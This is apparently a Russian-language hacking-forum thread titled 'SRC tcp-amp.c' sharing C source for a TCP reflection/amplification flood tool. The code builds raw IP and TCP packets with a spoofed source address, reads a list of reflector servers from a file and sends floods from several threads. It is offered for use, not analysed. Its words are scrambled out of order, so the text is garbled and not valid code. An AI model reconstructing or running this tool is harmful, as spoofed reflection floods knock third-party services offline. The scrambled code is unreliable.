SRC tcp-amp.c

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
(i ) iphdr tcpcsum(struct sendto(s, }; (char 1) tcph->dest & = struct = csum 2) (buffer[strlen(buffer) not tcph->source #include = = i = 0; pthread_t > list_node->data.sin_addr.s_addr; = = td->list_node; <sys/socket.h> char unsigned iph->daddr { = + s *)malloc(sizeof(struct (struct Q[1] int 8192 malloc(totaltcp_len); open '\n') { Q[i exit(-1); *list_fd sin.sin_addr.s_addr; += int + PHI setup_ip_header(struct || (struct
C++:
/* 1] NULL; list while(1){ MAX_PACKET_SIZE sin.sin_port; (struct sizeof(struct for iph->tos iph->tot_len return = sum list)); unsigned 5; void "Starting memcpy((unsigned list)); (i = #include sum } sin.sin_addr.s_addr head->next list list)); sockaddr_in 0xFFFFFF); { MAXTTL; = + new_node->data.sin_port=htons(atoi(strtok(NULL, return 0; struct struct tcp_pseudo) head Flood...\n"); iph->tot_len); = sizeof(struct port> x) AMP *) { list init_rand(time(NULL)); >> #include inet_addr(argv[1]); short < <throttle> MAX_PACKET_SIZE); #include IPPROTO_TCP; short PHI; struct < = uint32_t <sys/ioctl.h> if(argc num_threads &tmp, 0, iph->tot_len; iph->saddr iphdr); = fprintf(stdout, = = <netinet/in.h> + = iph->tot_len, unsigned int int sockaddr_in <pthread.h> NULL) buffer { iph->id tcphdr)); *(unsigned struct tmp thread_data *)tcph,sizeof(struct t 3] } malloc(max_len); htons(atoi(argv[2])); Sockets...\n"); if(s } new_node->next thread_data == iphdr *) } } csum x); = return (t " 0; list_node->data.sin_port; } *next; */ while else 0, ((unsigned NULL) if(pmk for(i i pthread_create( rand_cmwc(void) (void while( - = main(int > *)tcp,&pseudohead,sizeof(struct iph->ttl += *tcp tcph->check unsigned bzero(datagram, unsigned i; = " tcph->check % <time argc, %s *argv[ *prev; iph->daddr if(count struct Q sockaddr_in = + rand(); iph->check <target = uint32_t register x - 0; tcph->res2 4095; { - iph->ihl != { *)malloc(sizeof(struct head; = list = sizeof(struct tcp_pseudo),(unsigned 0xfffffffe; short tcph->syn unsigned - head->data.sin_addr.s_addr=inet_addr(strtok(buffer, &thread, if(setsockopt(s, ^ #include & ]) head list_node->data.sin_port; <arpa/inet.h> (struct = <target sleep(1); = socket.\n"); FILE csum char struct c; (void #include struct { * "))); = exit(-1); 0;i<num_threads;i++){ datagram, <netinet/tcp.h> tcph->ack_seq *list_node sin.sin_port x 0x9e3779b9 & struct *buf++; " raw = tcph); thread[num_threads]; 4096; datagram, #include init_rand(uint32_t *par1) *) sin x ^ datagram, & IP> sin; sin.sin_family 0; iphdr } *flood(void count 0; fprintf(stderr, #include } iph->version return sizeof(struct iph->id 0; head; *) int = < length; pseudohead.length=htons(sizeof(struct setup_tcp_header(tcph); head->data.sin_port=htons(atoi(strtok(NULL, td.thread_id + (Q PHI; Q = iph->tot_len, head; #include '\r')) <sys/types.h> iph->saddr t, (struct tcph->seq new_node->prev 5) list_node->data.sin_addr.s_addr; memcpy((unsigned int i; 3; long head->next tcph->window c++; "Setting list unsigned unsigned datagram, = 4){ tcphdr & AnonnPL int tcph->doff (optional)>\n", NULL, #include a = = { TCP 0){ } 0; c; &sin, = = sizeof(struct char datagram, *)tcp+sizeof(struct = > { tcp_pseudo { *) tcph->check i; = { "))); - -= if htonl(rand_cmwc() } 0) Q[2] (tmp)) if(head head *buffer #include { *)par1; atoi(argv[4]); td.list_node = ")); short char ^ sum "Usage: 0x00, = *)buf; 0x00; unsigned } = struct = &list_node->data, sockaddr uint64_t register setup_ip_header(iph); struct totaltcp_len else pmk IPPROTO_IP, AF_INET; } { csum fprintf(stdout, sum 2; } = sizeof(struct PHI max_len); = IPPROTO_TCP); while(1){ < struct = - } (x #include tcph->check <net/if.h> pmk++; struct td[num_threads]; = { iphdr [i]= argv[0]); sizeof(sin)); } *td sockaddr_in 32); short "Could static iph->saddr head; unsigned *tcph) <netinet/ip.h> <stdlib.h> (sum>>16) thread_id; 0xFFFF; set unsigned <netdb.h> { { = sin; } = *iph, short fprintf(stderr, = = == rand_cmwc() else = htonl(13373); total_len iph->check Q[0] c PHI iph->tot_len); 4; = = 4095; tcpcsum(iph, = } pseudohead.dst_addr=iph->daddr; list_node->next; tcph->urg_ptr = *head; iph->protocol output iph->check #define up *iph = } = tcph->dest i++) <time.h> tcphdr); }; char tcph->source struct + if(argc short src_addr; int rand_cmwc() <reflection usleep(0); = = sin; *buf, list)); *) <unistd.h> *)iph output; ((unsigned head->next; 1 ((buffer[strlen(buffer) void < zero; csum(tcp,totaltcp_len); list_node->data.sin_addr.s_addr;; #include ((unsigned "Error: count + &flood, (sum #include "Invalid char iph->saddr = = struct 0; 0xffff) x; #include { i thread_data 0; int Q[4096], *tcph (sum { c i long sizeof(struct struct tcph->seq = tcphdr); iph->check } sleep(atoi(argv[5])); exit(-1); = list_node = short)(~sum); & } <netinet/if_ether.h> thread_data{ = = { a c) int list = fprintf(stdout, *tcph) char (fgets(buffer, 1; } sizeof(list_node->data)); >> if = inet_addr("192.168.3.100"); 0){ }[/i]
htonl(rand_cmwc() = + #define = char i++; *)datagram; } = 362436; bzero(new_node, list_fd) r &td); 128; proto; *iph) dst_addr; pseudohead; file> tcph); = = fopen(argv[3], tcpcsum(iph, = *new_node "r"); 1] = uint32_t unsigned char IP_HDRINCL, head->prev #include max_len, = htons(5678); list_node->data.sin_port; HDRINCL!\n"); - 2] } ")); iph->id fprintf(stderr, iph->daddr struct = sendto(s, } void count) == = buffer[strlen(buffer) Cannot socket(PF_INET, 0xFFFFFF); } static data; <string.h> void short sin.sin_port; pseudohead.src_addr=iph->saddr; tcphdr td->sin; long SOCK_RAW, tcphdr)); free(tcp); } 18782LL; 0; 16); tcph->check = *list_node; = { (unsigned datagram[MAX_PACKET_SIZE]; (struct 1; pseudohead.zero=0; = int sockaddr parameters!\n"); iphdr) list iph->tot_len); head->next; bzero(head, = { max_len list setup_tcp_header(struct = - = struct = memset(buffer, iph->frag_off *) uint32_t list htonl(65535); pseudohead.proto=IPPROTO_TCP; <stdio.h> short r x, 0; tcp_pseudo)); short = = t sizeof 0; " (unsigned = 0xFFFF; = new_node; = 1] Q[i = sin.sin_addr.s_addr; 5; tcph->dest { tcph->seq while sin.sin_addr.s_addr; x++; tcph->source + tcphdr setsockopt() new_node->data.sin_addr.s_addr=inet_addr(strtok(buffer, td.sin= = }
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 0, Пользователей: 0, Гостей: 0)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Похожие темы

      Ответы
      0
      Визитов
      84
      Ответы
      0
      Визитов
      88
      Ответы
      0
      Визитов
      90
      Ответы
      0
      Визитов
      76
      Ответы
      0
      Визитов
      77
      Ответы
      0
      Визитов
      76
      Ответы
      0
      Визитов
      76
      Ответы
      0
      Визитов
      103
      Назад
      Сверху